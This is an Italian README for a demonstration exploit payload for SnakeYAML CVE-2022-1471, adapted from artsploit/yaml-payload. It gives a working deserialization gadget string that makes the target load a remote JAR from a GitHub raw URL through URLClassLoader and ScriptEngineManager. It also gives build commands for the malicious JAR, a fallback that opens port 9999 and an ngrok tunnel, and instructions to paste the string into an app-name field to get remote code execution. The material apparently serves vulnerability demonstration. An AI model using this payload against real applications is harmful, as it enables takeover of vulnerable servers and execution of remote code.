
Payload di exploit SnakeYAML CVE-2022-1471 per demo
Un payload di deserializzazione SnakeYAML per CVE-2022-1471, adattato da artsploit/yaml-payload (basato originariamente su mbechler/marshalsec).
Quando caricato tramite l'uso non sicuro di Yaml.load() di SnakeYAML, questo payload prende il controllo dell'applicazione in esecuzione e la sostituisce con una pagina "You've Been PWNED":
Se l'iniezione della Tomcat Valve non è disponibile (ad esempio app non-Spring), torna a avviare un server HTTP standalone sulla porta 9999 e crea automaticamente un tunnel ngrok se ngrok è in esecuzione.
Funziona sia localmente su macOS che in pipeline CI/CD (ad esempio GitHub Actions su Ubuntu).
Il payload SnakeYAML attiva ScriptEngineManager tramite Java SPI (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL puntando al yaml-payload.jar di questo repositoryURLClassLoader per caricare classi remoteScriptEngineManager scopre e carica AwesomeScriptEngineFactory tramite META-INF/services/javax.script.ScriptEngineFactory/ con la pagina PWNEDRichiede JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Usato come payload dell'exploit nel progetto maven-demo. Incolla la stringa del payload nel campo del nome dell'app per attivare RCE. La pagina dell'app verrà sostituita con la pagina PWNED alla richiesta successiva. Vedi il README di quel repository per le istruzioni complete della demo.